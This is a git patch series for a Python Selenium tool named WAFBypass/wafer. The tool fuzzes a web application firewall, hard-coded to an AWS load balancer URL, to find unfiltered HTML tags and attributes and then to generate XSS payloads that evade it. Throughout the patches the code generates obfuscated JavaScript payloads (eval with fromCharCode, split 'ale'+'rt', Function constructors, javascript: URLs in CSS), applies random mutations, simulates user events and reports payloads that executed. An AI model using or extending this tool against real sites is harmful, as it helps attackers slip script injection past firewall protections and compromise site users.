self.unfiltered_attributes["events"] = [] + self.unfiltered_attributes["tag_specific"] = {} + + for attr in GlobalAttributes: encoded = urlencode({"param2": f"{attr}"}) url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" - # print(url) - is403, trigger = self.navigate(url) + is403, _ = self.navigate(url) if not is403: - print(f"[+] {attr.name} attribute is not filtered") + self.unfiltered_attributes["global"].append(attr) + + for attr in EventsAttributes: + encoded = urlencode({"param2": f"{attr}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(url) + if not is403: + self.unfiltered_attributes["events"].append(attr) + + for tag in self.unfiltered_tags: + try: + for attr in TagSpecificAttributes[tag.name]: + if tag not in self.unfiltered_attributes["tag_specific"]: + self.unfiltered_attributes["tag_specific"][tag.name] = [ + ] + encoded = urlencode( + {"param2": f"<{tag.name} {attr}/>"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(url) + if not is403: + self.unfiltered_attributes["tag_specific"][tag.name].append( + attr) + except KeyError: + print(f"Tag {tag.name} not found in TagSpecificAttributes") + except KeyboardInterrupt: + self.driver.close() + exit(0) + + def identify_unfiltered_tags(self): + try: + for tag in Tags: + encoded = urlencode({"param2": f"{tag}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(url) + if not is403: + self.unfiltered_tags.append(tag) + except KeyboardInterrupt: + self.driver.close() + exit(0) + + def dry_run(self): + try: + self.identify_unfiltered_tags() + self.identify_unfiltered_attributes() + for tag in self.unfiltered_tags: + tag.set_mutator(self.mutator) + except Exception as e: + raise Exception(f"Dry Run Error: {e}") + + def run_fuzz(self): + self.dry_run() + + def test(self): + try: + self.dry_run() + print("Unfiltered Tags:") + for tag in self.unfiltered_tags: + print(tag.name) + for _ in range(0, 10): + tag = choice(self.unfiltered_tags) + + tag.attributes = [] + tag.children = [] + + nglobattr = choice(range(1, 3)) + nattr = choice(range(0, 3)) + + globals = self.unfiltered_attributes["global"] + + for _ in range(0, nglobattr): + if len(globals) == 0: + break + attr = choice(globals) + globals.remove(attr) + tag.add_attribute(attr) + + tag.add_attribute(choice(self.unfiltered_attributes["events"])) + + tag_specific = self.unfiltered_attributes["tag_specific"][tag.name] + + for _ in range(0, nattr): + if len(tag_specific) == 0: + break + attr = choice(tag_specific) + tag_specific.remove(attr) + tag.add_attribute(attr) + + print(tag) + except KeyboardInterrupt: self.driver.close() exit(0) w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com") -w.run_fuzz() +w.test() -- 2.34.1 From dee04f003def3b1742202d03368a4df3115aed63 Mon Sep 17 00:00:00 2001 From: dzonerzy Date: Mon, 27 Nov 2023 15:20:19 +0100 Subject: [PATCH 2/2] update --- language.py | 17 ++- language_utils.py | 81 +++++------ mutations.py | 19 ++- tags.py | 27 ++-- utils.py | 20 ++- wafer.py | 348 ++++++++++++++++++++++++++++++++++++++++++++++ xzzuf.py | 181 ------------------------ 7 files changed, 425 insertions(+), 268 deletions(-) create mode 100644 wafer.py delete mode 100644 xzzuf.py diff --git a/language.py b/language.py index da17633..3b26658 100644 --- a/language.py +++ b/language.py @@ -1,6 +1,7 @@ from language_utils import gen_boolean, gen_color, gen_date, gen_email, \ gen_javascript, gen_number, gen_style, gen_text, gen_url, gen_name, \ - gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key + gen_target, gen_drop, gen_dir, gen_flag, gen_wtarget, gen_access_key, \ + gen_duration from utils import rndstr, choice from mutations import Mutations @@ -15,6 +16,9 @@ class HTMLTag: self.nameattr = rndstr(10) self.rndchrpos = {} self.mutator: Mutations = None + self.content = rndstr(10) + self.ids = [] + self.names = [] def set_mutator(self, mutator): self.mutator = mutator @@ -28,10 +32,11 @@ class HTMLTag: if self.mutator: # mutate attributes for attr in self.attributes: - if attr.attr == AttrType.ATTR_TAG_SPECIFIC: + attr.__str__() + if attr.attr == AttrType.ATTR_TAG_SPECIFIC and attr.kind != HTMLTagAttributeType.TypeFlag: cases = [ - lambda x: self.my_mutate_attr(x), - lambda x: self.mutator.mutate_attr(x.value), + lambda x: self.mutator.mutate_attr(x), + lambda x: self.mutator.mutate_value(x), ] choice(cases)(attr) elif attr.attr == AttrType.ATTR_EVENT: @@ -53,6 +58,8 @@ class HTMLTag: for attr in self.attributes: tag += f"{attr} " tag += ">" + if len(self.children) == 0: + tag += f"{self.content}" for child in self.children: tag += f"{child}" tag += f"" @@ -80,6 +87,7 @@ class HTMLTagAttributeType: TypeDir = 13 TypeWindowTarget = 14 TypeAccessKey = 15 + TypeDuration = 16 Generators = { @@ -99,6 +107,7 @@ Generators = { HTMLTagAttributeType.TypeDir: gen_dir, HTMLTagAttributeType.TypeWindowTarget: gen_wtarget, HTMLTagAttributeType.TypeAccessKey: gen_access_key, + HTMLTagAttributeType.TypeDuration: gen_duration, } diff --git a/language_utils.py b/language_utils.py index 3f16420..6a95e22 100644 --- a/language_utils.py +++ b/language_utils.py @@ -1,20 +1,8 @@ -from utils import choice +from utils import choice, rndstr def gen_text(): - cases = { - 0: lambda: 'alert(0)', - 1: lambda: 'prompt\x600\x60', - 2: lambda: '"confirm\x600\x60"', - 3: lambda: 'window["alert"](0)', - 4: lambda: 'window["prompt"](0)', - 5: lambda: 'window["confirm"](0)', - 6: lambda: '"alert\x600\x60"', - 7: lambda: '"prompt\x600\x60"', - 8: lambda: '"alert(1)"', - } - - return choice(cases)() + return rndstr(8) def gen_boolean(): @@ -25,7 +13,7 @@ def gen_boolean(): 3: lambda: 'false', 4: lambda: 'null', 5: lambda: 'undefined', - 6: lambda: '""', + 6: lambda: '', 7: lambda: '0', 8: lambda: '1', } @@ -37,13 +25,8 @@ def gen_number(): cases = { 0: lambda: '0', 1: lambda: '1', - 2: lambda: '0.1', - 3: lambda: '1.1', - 4: lambda: '0x1', - 5: lambda: '0b1', - 6: lambda: '0o1', - 7: lambda: '1e1', - 8: lambda: '1e-1', + 2: lambda: '2', + 3: lambda: '3', } return choice(cases)() @@ -68,17 +51,19 @@ def gen_color(): def gen_javascript(): cases = { 0: lambda: 'alert(0)', - 1: lambda: 'prompt\x600\x60', - 2: lambda: '"confirm\x600\x60"', - 3: lambda: 'window["alert"](0)', - 4: lambda: 'window["prompt"](0)', - 5: lambda: 'window["confirm"](0)', - 6: lambda: '"alert\x600\x60"', - 7: lambda: '"prompt\x600\x60"', - 8: lambda: '"alert(1)"', - 9: lambda: 'console.log(alert(1))//', - 10: lambda: 'console.log(alert(1))/*', + 1: lambda: 'prompt`0`', + 2: lambda: 'confirm`0`', + 3: lambda: "window['alert'](0)", + 4: lambda: "window['prompt'](0)", + 5: lambda: "window['confirm'](0)", + 6: lambda: 'eval.call`${String.fromCharCode(97,108,101,114,116,40,49,41)}`', + 7: lambda: 'Function(`a${`lert\`1\``}`).call``', + 8: lambda: "window['ale'+'rt'](window['doc'+'ument']['dom'+'ain']);//", + 9: lambda: "eval.call`${'alert\x2823\x29'}`", + 10: lambda: '[].sort.call`${alert}23`', 11: lambda: '{1:alert(1)}', + 12: lambda: '(()=>{alert`1`})()', + 13: lambda: 'x=alert;x(1);', } return choice(cases)() @@ -90,6 +75,8 @@ def gen_style(): 0: lambda: 'background-image:url("javascript:alert(1)")', 1: lambda: 'expression(alert(1))', 2: lambda: 'expression\x600\x60', + 3: lambda: 'animation-name:x;animation-duration:0s;', + 4: lambda: '@keyframes x{}' } return choice(cases)() @@ -119,27 +106,19 @@ def gen_email(): def gen_date(): - return '' + return '2020-01-01' -def gen_target(root): - if root is None: - return None - ids = [] - ids.append(root.id) - for child in root.children: - ids.append(child.id) - return choice(ids) +def gen_target(tag): + if tag is None: + return "" + return choice(tag.ids) -def gen_name(root): - if root is None: - return None - names = [] - names.append(root.nameattr) - for child in root.children: - names.append(child.nameattr) - return choice(names) +def gen_name(tag): + if tag is None: + return "" + return choice(tag.names) def gen_flag(): @@ -160,3 +139,7 @@ def gen_wtarget(): def gen_access_key(): return 'X' + + +def gen_duration(): + return choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]) + choice(["s", "ms"]) diff --git a/mutations.py b/mutations.py index ce44f19..8743e3c 100644 --- a/mutations.py +++ b/mutations.py @@ -15,27 +15,27 @@ class Mutations: return choice_percent(cases)(attr) - def mutate_value(self, value: str): + def mutate_value(self, attr): cases = { 70: lambda x: x, 20: self.mutate_value_newline, 10: self.mutate_value_unicode, } - return choice_percent(cases)(value) + return choice_percent(cases)(attr) def mutate_tag(self, tag): cases = { - 70: lambda x: x, - 30: self.mutate_tag_insert_random_pos, + 95: lambda x: x, + 5: self.mutate_tag_insert_random_pos, } return choice_percent(cases)(tag) def mutate_js(self, js: str): cases = { - 70: lambda x: x, - 30: self.mutate_js_insert_random_pos, + 95: lambda x: x, + 5: self.mutate_js_insert_random_pos, } return choice_percent(cases)(js) @@ -60,6 +60,10 @@ class Mutations: def mutate_value_newline(attr): # find a random position in the value # and insert a newline + if (attr.value is None): + print("attr.value is None") + print(attr) + exit(0) pos = choice(range(len(attr.value))) attr.value = f"{attr.value[:pos]}\n{attr.value[pos:]}" return attr @@ -84,7 +88,8 @@ class Mutations: nmutations = choice(range(1, 4)) for _ in range(nmutations): - tag.rndchrpos[pos] = choice_percent(chars)() + mut = choice_percent(chars) + tag.rndchrpos[pos] = mut() return tag diff --git a/tags.py b/tags.py index d0b99f5..b2e8f5d 100644 --- a/tags.py +++ b/tags.py @@ -3,6 +3,7 @@ from language import HTMLAttribute, HTMLTag, HTMLTagAttributeType Tags = [ HTMLTag('a', self_closing=False), + HTMLTag('animate', self_closing=True), HTMLTag('abbr', self_closing=False), HTMLTag('acronym', self_closing=False), HTMLTag('address', self_closing=False), @@ -268,6 +269,15 @@ TagSpecificAttributes = { HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), HTMLAttribute('type', HTMLTagAttributeType.TypeText), ], + 'animate': [ + HTMLAttribute('attributeName', HTMLTagAttributeType.TypeText), + HTMLAttribute('attributeType', HTMLTagAttributeType.TypeText), + HTMLAttribute('begin', HTMLTagAttributeType.TypeText), + HTMLAttribute('by', HTMLTagAttributeType.TypeText), + HTMLAttribute('calcMode', HTMLTagAttributeType.TypeText), + HTMLAttribute('dur', HTMLTagAttributeType.TypeDuration), + HTMLAttribute('end', HTMLTagAttributeType.TypeText), + ], 'abbr': [ HTMLAttribute('title', HTMLTagAttributeType.TypeText), ], @@ -286,7 +296,6 @@ TagSpecificAttributes = { HTMLAttribute('data', HTMLTagAttributeType.TypeURL), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('object', HTMLTagAttributeType.TypeURL), HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), @@ -361,7 +370,6 @@ TagSpecificAttributes = { HTMLAttribute('formmethod', HTMLTagAttributeType.TypeText), HTMLAttribute('formnovalidate', HTMLTagAttributeType.TypeFlag), HTMLAttribute('formtarget', HTMLTagAttributeType.TypeWindowTarget), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('title', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('value', HTMLTagAttributeType.TypeText), @@ -442,7 +450,6 @@ TagSpecificAttributes = { HTMLAttribute('align', HTMLTagAttributeType.TypeText), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('src', HTMLTagAttributeType.TypeURL), HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('vspace', HTMLTagAttributeType.TypeNumber), @@ -451,7 +458,6 @@ TagSpecificAttributes = { 'fieldset': [ HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), HTMLAttribute('form', HTMLTagAttributeType.TypeName), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), ], 'figcaption': [ HTMLAttribute('title', HTMLTagAttributeType.TypeText), @@ -473,7 +479,6 @@ TagSpecificAttributes = { HTMLAttribute('autocomplete', HTMLTagAttributeType.TypeText), HTMLAttribute('enctype', HTMLTagAttributeType.TypeText), HTMLAttribute('method', HTMLTagAttributeType.TypeText), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('novalidate', HTMLTagAttributeType.TypeFlag), HTMLAttribute('target', HTMLTagAttributeType.TypeWindowTarget), ], @@ -481,7 +486,6 @@ TagSpecificAttributes = { HTMLAttribute('frameborder', HTMLTagAttributeType.TypeFlag), HTMLAttribute('marginheight', HTMLTagAttributeType.TypeNumber), HTMLAttribute('marginwidth', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('noresize', HTMLTagAttributeType.TypeFlag), HTMLAttribute('scrolling', HTMLTagAttributeType.TypeText), HTMLAttribute('src', HTMLTagAttributeType.TypeURL), @@ -537,7 +541,6 @@ TagSpecificAttributes = { HTMLAttribute('csp', HTMLTagAttributeType.TypeText), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('importance', HTMLTagAttributeType.TypeText), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), HTMLAttribute('sandbox', HTMLTagAttributeType.TypeText), HTMLAttribute('src', HTMLTagAttributeType.TypeURL), @@ -556,7 +559,6 @@ TagSpecificAttributes = { HTMLAttribute('ismap', HTMLTagAttributeType.TypeFlag), HTMLAttribute('loading', HTMLTagAttributeType.TypeText), HTMLAttribute('longdesc', HTMLTagAttributeType.TypeURL), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('referrerpolicy', HTMLTagAttributeType.TypeText), HTMLAttribute('sizes', HTMLTagAttributeType.TypeText), HTMLAttribute('src', HTMLTagAttributeType.TypeURL), @@ -590,7 +592,6 @@ TagSpecificAttributes = { HTMLAttribute('min', HTMLTagAttributeType.TypeText), HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('pattern', HTMLTagAttributeType.TypeText), HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), @@ -601,6 +602,7 @@ TagSpecificAttributes = { HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('value', HTMLTagAttributeType.TypeText), HTMLAttribute('width', HTMLTagAttributeType.TypeNumber), + HTMLAttribute('popovertarget', HTMLTagAttributeType.TypeTarget), ], 'ins': [ @@ -639,7 +641,6 @@ TagSpecificAttributes = { HTMLAttribute('title', HTMLTagAttributeType.TypeText), ], 'map': [ - HTMLAttribute('name', HTMLTagAttributeType.TypeName), ], 'mark': [ HTMLAttribute('title', HTMLTagAttributeType.TypeText), @@ -665,7 +666,6 @@ TagSpecificAttributes = { HTMLAttribute('charset', HTMLTagAttributeType.TypeText), HTMLAttribute('content', HTMLTagAttributeType.TypeText), HTMLAttribute('http-equiv', HTMLTagAttributeType.TypeText), - HTMLAttribute('name', HTMLTagAttributeType.TypeText), ], 'meter': [ HTMLAttribute('high', HTMLTagAttributeType.TypeNumber), @@ -697,7 +697,6 @@ TagSpecificAttributes = { HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('height', HTMLTagAttributeType.TypeNumber), HTMLAttribute('hspace', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('standby', HTMLTagAttributeType.TypeText), HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('usemap', HTMLTagAttributeType.TypeURL), @@ -725,13 +724,11 @@ TagSpecificAttributes = { 'output': [ HTMLAttribute('for', HTMLTagAttributeType.TypeName), HTMLAttribute('form', HTMLTagAttributeType.TypeName), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), ], 'p': [ HTMLAttribute('align', HTMLTagAttributeType.TypeText), ], 'param': [ - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('type', HTMLTagAttributeType.TypeText), HTMLAttribute('value', HTMLTagAttributeType.TypeText), HTMLAttribute('valuetype', HTMLTagAttributeType.TypeText), @@ -775,7 +772,6 @@ TagSpecificAttributes = { HTMLAttribute('disabled', HTMLTagAttributeType.TypeFlag), HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('multiple', HTMLTagAttributeType.TypeFlag), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), HTMLAttribute('size', HTMLTagAttributeType.TypeNumber), ], @@ -857,7 +853,6 @@ TagSpecificAttributes = { HTMLAttribute('form', HTMLTagAttributeType.TypeName), HTMLAttribute('maxlength', HTMLTagAttributeType.TypeNumber), HTMLAttribute('minlength', HTMLTagAttributeType.TypeNumber), - HTMLAttribute('name', HTMLTagAttributeType.TypeName), HTMLAttribute('placeholder', HTMLTagAttributeType.TypeText), HTMLAttribute('readonly', HTMLTagAttributeType.TypeFlag), HTMLAttribute('required', HTMLTagAttributeType.TypeFlag), diff --git a/utils.py b/utils.py index 1820bb6..7bbb434 100644 --- a/utils.py +++ b/utils.py @@ -7,10 +7,12 @@ def rndstr(length): def choice(arr): + # randomize seed return random.choice(arr) def rndunicode(): + # randomize seed return chr(random.randint(0, 0x10FFFF)) @@ -25,21 +27,17 @@ def choice_percent(elements): # } # that means we have 10% chance to get 'a', 20% chance to get 'b', etc. - # get total percent - total_percent = 0 - for percent in elements: - total_percent += percent + total_percent = sum(elements.keys()) # get random number - random.seed(int(time.time() * 1000)) - rnd = random.randint(0, total_percent) + rnd = random.randint(1, total_percent) # get action - for percent in elements: - if rnd < percent: - return elements[percent] - else: - rnd -= percent + cumulative_percent = 0 + for percent, action in elements.items(): + cumulative_percent += percent + if rnd <= cumulative_percent: + return action # should not reach here return None diff --git a/wafer.py b/wafer.py new file mode 100644 index 0000000..9762c9f --- /dev/null +++ b/wafer.py @@ -0,0 +1,348 @@ +from selenium import webdriver +from selenium.webdriver.support.ui import WebDriverWait +from selenium.webdriver.chrome import service +from urllib.parse import urlparse +from urllib.parse import urlencode +from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType +from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags +from mutations import Mutations +from utils import choice, choice_percent +from threading import Thread, Lock +import random +import time + +# WAFBypass class + + +class TagList(): + def __init__(self, e): + self.l = list(e) + + def __str__(self) -> str: + s = "" + for tag in self.l: + s += f"{tag}" + return s + + +class FuzzQueue(): + def __init__(self) -> None: + self.queue = [] + self.lock = Lock() + + def push(self, tag): + self.lock.acquire() + self.queue.append(tag) + self.lock.release() + + def pop(self): + if len(self.queue) == 0: + return None + self.lock.acquire() + element = self.queue.pop() + self.lock.release() + return element + + def __len__(self): + return len(self.queue) + + +class WAFBypass(): + code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;};window.confirm = window.alert;window.prompt = window.alert;" + trigger = """ +var ids = {0}; +for (var i = 0; i < ids.length; i++) {{ + var element = document.getElementById(ids[i]); + if(!element) continue; + // trigger all possible events click, mouseover, etc. + var events = ['click', 'mouseover', 'mousedown', 'mouseup', 'mousemove', 'mouseout', 'mouseenter', 'mouseleave', 'dblclick', 'contextmenu', 'wheel', 'select', 'pointerdown', 'pointerup', 'pointermove', 'pointerover', 'pointerout', 'pointerenter', 'pointerleave', 'gotpointercapture', 'lostpointercapture']; + try {{ + for (var j = 0; j < events.length; j++) {{ + var event = new MouseEvent(events[j], {{bubbles: true}}); + element.dispatchEvent(event); + }} + element.focus(); + element.blur(); + // trigger accesskey ctrl+alt+X + element.dispatchEvent(new KeyboardEvent('keydown', {{ctrlKey: true, altKey: true, key: 'x'}})); + }} catch (e) {{}} +}} + """ + + def __init__(self, url, param) -> None: + self.param = param + self.options = webdriver.ChromeOptions() + self.options.add_argument('--no-sandbox') + # self.options.add_argument('--headless') + self.options.add_argument('--disable-gpu') + self.options.add_experimental_option( + "excludeSwitches", ["enable-logging"]) + self.unfiltered_attributes = {} + self.unfiltered_tags = [] + self.driver = webdriver.Chrome( + options=self.options, + service=service.Service(service_args=["--log-path=NUL"])) + self.url = urlparse(url) + self.mutator = Mutations() + self.queue = FuzzQueue() + self.threads = [] + self.lock = Lock() + self.payloads = 0 + + random.seed(time.time_ns()) + + if not self.check_connection(): + raise Exception("Connection Error") + + self.driver.execute_cdp_cmd( + "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) + + def inc_payloads(self): + self.lock.acquire() + self.payloads += 1 + self.lock.release() + + def check_connection(self): + try: + self.driver.get(self.url.geturl()) + return True + except: + return False + + def wait_for_pageload(self, driver): + try: + WebDriverWait(driver, 4).until( + lambda driver: driver.execute_script("return document.readyState") == "complete") + except TimeoutError: + raise Exception("Page Load Error") + + def get_page_title(self): + return self.driver.title + + @property + def is_403(self): + return self.driver.title == "403 Forbidden" + + @property + def triggered_xss(self): + return self.driver.execute_script("return window.alert_trigger") + + def navigate(self, driver, url): + driver.get(url) + self.wait_for_pageload(driver) + + is403 = False + + if self.is_403: + is403 = True + else: + is403 = False + + triggerxss = self.triggered_xss + + return (is403, triggerxss) + + def identify_unfiltered_attributes(self): + try: + self.unfiltered_attributes["global"] = [] + self.unfiltered_attributes["events"] = [] + self.unfiltered_attributes["tag_specific"] = {} + + for attr in GlobalAttributes: + encoded = urlencode({self.param: f"{attr}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(self.driver, url) + if not is403: + self.unfiltered_attributes["global"].append(attr) + + for attr in EventsAttributes: + encoded = urlencode({self.param: f"{attr}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(self.driver, url) + if not is403: + self.unfiltered_attributes["events"].append(attr) + + for tag in self.unfiltered_tags: + if tag not in self.unfiltered_attributes["tag_specific"]: + self.unfiltered_attributes["tag_specific"][tag.name] = [] + try: + for attr in TagSpecificAttributes[tag.name]: + encoded = urlencode( + {self.param: f"<{tag.name} {attr}/>"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(self.driver, url) + if not is403: + self.unfiltered_attributes["tag_specific"][tag.name].append( + attr) + except KeyError: + print(f"Tag {tag.name} not found in TagSpecificAttributes") + except KeyboardInterrupt: + return + + def identify_unfiltered_tags(self): + try: + for tag in Tags: + encoded = urlencode({self.param: f"{tag}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, _ = self.navigate(self.driver, url) + if not is403: + self.unfiltered_tags.append(tag) + except KeyboardInterrupt: + return + + def dry_run(self): + try: + self.identify_unfiltered_tags() + self.identify_unfiltered_attributes() + except Exception as e: + raise Exception(f"Dry Run Error: {e}") + except KeyboardInterrupt: + return + + def get_tag(self): + try: + tag = choice(self.unfiltered_tags) + # make a copy of tag to avoid mutating the original + tag = HTMLTag(tag.name, tag.self_closing) + tag.set_mutator(self.mutator) + + nglobattr = choice(range(1, 3)) + nattr = choice(range(1, 3)) + + globals = list(self.unfiltered_attributes["global"]) + + for _ in range(0, nglobattr): + if len(globals) == 0: + break + attr = choice(globals) + globals.remove(attr) + # make a copy of attr to avoid mutating the original + attr = HTMLAttribute(attr.name, attr.kind, + glob=True, root=None) + tag.add_attribute(attr) + + attr = choice(self.unfiltered_attributes["events"]) + # make a copy of attr to avoid mutating the original + attr = HTMLAttribute(attr.name, attr.kind, + glob=False, root=None) + tag.add_attribute(attr) + + tag_specific = list( + self.unfiltered_attributes["tag_specific"][tag.name]) + + for _ in range(0, nattr): + if len(tag_specific) == 0: + break + attr = choice(tag_specific) + tag_specific.remove(attr) + # make a copy of attr to avoid mutating the original + attr = HTMLAttribute(attr.name, attr.kind, + glob=False, root=None) + tag.add_attribute(attr) + + addchildren = { + 70: lambda: False, + 30: lambda: True + } + + should_add = choice_percent(addchildren) + + if (should_add()): + tag.children.append(self.get_tag()) + + return tag + except KeyboardInterrupt: + return None + + def fuzz_thread(self, driver: webdriver.Chrome, started): + driver.execute_cdp_cmd( + "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) + + while not started: + time.sleep(0.1) + pass + + while True: + element = self.queue.pop() + if not element: + break + encoded = urlencode({self.param: f"{element}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, triggered = self.navigate(driver, url) + + # close window + driver.close() + + def get_tag_id(self, tag): + tag_ids = [] + tag_ids.append(tag.id) + if len(tag.children) >= 0: + for child in tag.children: + tag_ids.extend(self.get_tag_id(child)) + + return tag_ids + + def get_tag_name(self, tag): + tag_names = [] + tag_names.append(tag.nameattr) + if len(tag.children) >= 0: + for child in tag.children: + tag_names.extend(self.get_tag_name(child)) + + return tag_names + + def get_ids(self, tags): + tag_ids = [] + for tag in tags: + tag_ids.extend(self.get_tag_id(tag)) + return tag_ids + + def get_names(self, tags): + tag_names = [] + for tag in tags: + tag_names.extend(self.get_tag_name(tag)) + return tag_names + + def populate_ids_names(self, tags): + ids = self.get_ids(tags) + names = self.get_names(tags) + + def populate(tag, ids=ids, names=names): + tag.ids = ids + tag.names = names + for child in tag.children: + populate(child) + + for tag in tags: + populate(tag) + + def test(self): + try: + self.dry_run() + + print("Starting fuzzer") + + while True: + tags = [self.get_tag() for _ in range(0, choice(range(1, 3)))] + self.populate_ids_names(tags) + payload = TagList(tags) + encoded = urlencode({self.param: f"{payload}"}) + url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" + is403, triggered = self.navigate(self.driver, url) + if triggered: + print(f"XSS Payload: {payload}") + self.driver.execute_script( + self.trigger.format(self.get_ids(tags))) + triggered = self.triggered_xss + if triggered: + print(f"XSS Payload: {payload}") + + except KeyboardInterrupt: + print("Stopping fuzzer") + self.driver.close() + return + + +w = WAFBypass( + "http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com", "param2") +w.test() diff --git a/xzzuf.py b/xzzuf.py deleted file mode 100644 index c66847a..0000000 --- a/xzzuf.py +++ /dev/null @@ -1,181 +0,0 @@ -from urllib.parse import unquote -import selenium -import time -from selenium import webdriver -from selenium.webdriver.support.ui import WebDriverWait -from urllib.parse import urlparse -from urllib.parse import urlencode -from language import HTMLTag, HTMLAttribute, HTMLTagAttributeType -from tags import GlobalAttributes, EventsAttributes, TagSpecificAttributes, Tags -from mutations import Mutations -from utils import choice - -# WAFBypass class - - -class WAFBypass(): - code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}" - - def __init__(self, url) -> None: - self.options = webdriver.ChromeOptions() - self.options.add_argument('--no-sandbox') - self.options.add_argument('--headless') - self.unfiltered_attributes = {} - self.unfiltered_tags = [] - self.driver = webdriver.Chrome(options=self.options) - self.url = urlparse(url) - self.mutator = Mutations() - - if not self.check_connection(): - raise Exception("Connection Error") - - self.driver.execute_cdp_cmd( - "Page.addScriptToEvaluateOnNewDocument", {"source": self.code}) - - def check_connection(self): - try: - self.driver.get(self.url.geturl()) - return True - except: - return False - - def wait_for_pageload(self): - try: - WebDriverWait(self.driver, 4).until( - lambda driver: driver.execute_script("return document.readyState") == "complete") - except TimeoutError: - raise Exception("Page Load Error") - - def get_page_title(self): - return self.driver.title - - @property - def is_403(self): - return self.driver.title == "403 Forbidden" - - @property - def triggered_xss(self): - return self.driver.execute_script("return window.alert_trigger") - - def navigate(self, url): - self.driver.get(url) - self.wait_for_pageload() - - is403 = False - - if self.is_403: - is403 = True - else: - is403 = False - - triggerxss = self.triggered_xss - - return (is403, triggerxss) - - def identify_unfiltered_attributes(self): - try: - self.unfiltered_attributes["global"] = [] - self.unfiltered_attributes["events"] = [] - self.unfiltered_attributes["tag_specific"] = {} - - for attr in GlobalAttributes: - encoded = urlencode({"param2": f"{attr}"}) - url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" - is403, _ = self.navigate(url) - if not is403: - self.unfiltered_attributes["global"].append(attr) - - for attr in EventsAttributes: - encoded = urlencode({"param2": f"{attr}"}) - url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" - is403, _ = self.navigate(url) - if not is403: - self.unfiltered_attributes["events"].append(attr) - - for tag in self.unfiltered_tags: - try: - for attr in TagSpecificAttributes[tag.name]: - if tag not in self.unfiltered_attributes["tag_specific"]: - self.unfiltered_attributes["tag_specific"][tag.name] = [ - ] - encoded = urlencode( - {"param2": f"<{tag.name} {attr}/>"}) - url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" - is403, _ = self.navigate(url) - if not is403: - self.unfiltered_attributes["tag_specific"][tag.name].append( - attr) - except KeyError: - print(f"Tag {tag.name} not found in TagSpecificAttributes") - except KeyboardInterrupt: - self.driver.close() - exit(0) - - def identify_unfiltered_tags(self): - try: - for tag in Tags: - encoded = urlencode({"param2": f"{tag}"}) - url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}" - is403, _ = self.navigate(url) - if not is403: - self.unfiltered_tags.append(tag) - except KeyboardInterrupt: - self.driver.close() - exit(0) - - def dry_run(self): - try: - self.identify_unfiltered_tags() - self.identify_unfiltered_attributes() - for tag in self.unfiltered_tags: - tag.set_mutator(self.mutator) - except Exception as e: - raise Exception(f"Dry Run Error: {e}") - - def run_fuzz(self): - self.dry_run() - - def test(self): - try: - self.dry_run() - print("Unfiltered Tags:") - for tag in self.unfiltered_tags: - print(tag.name) - for _ in range(0, 10): - tag = choice(self.unfiltered_tags) - - 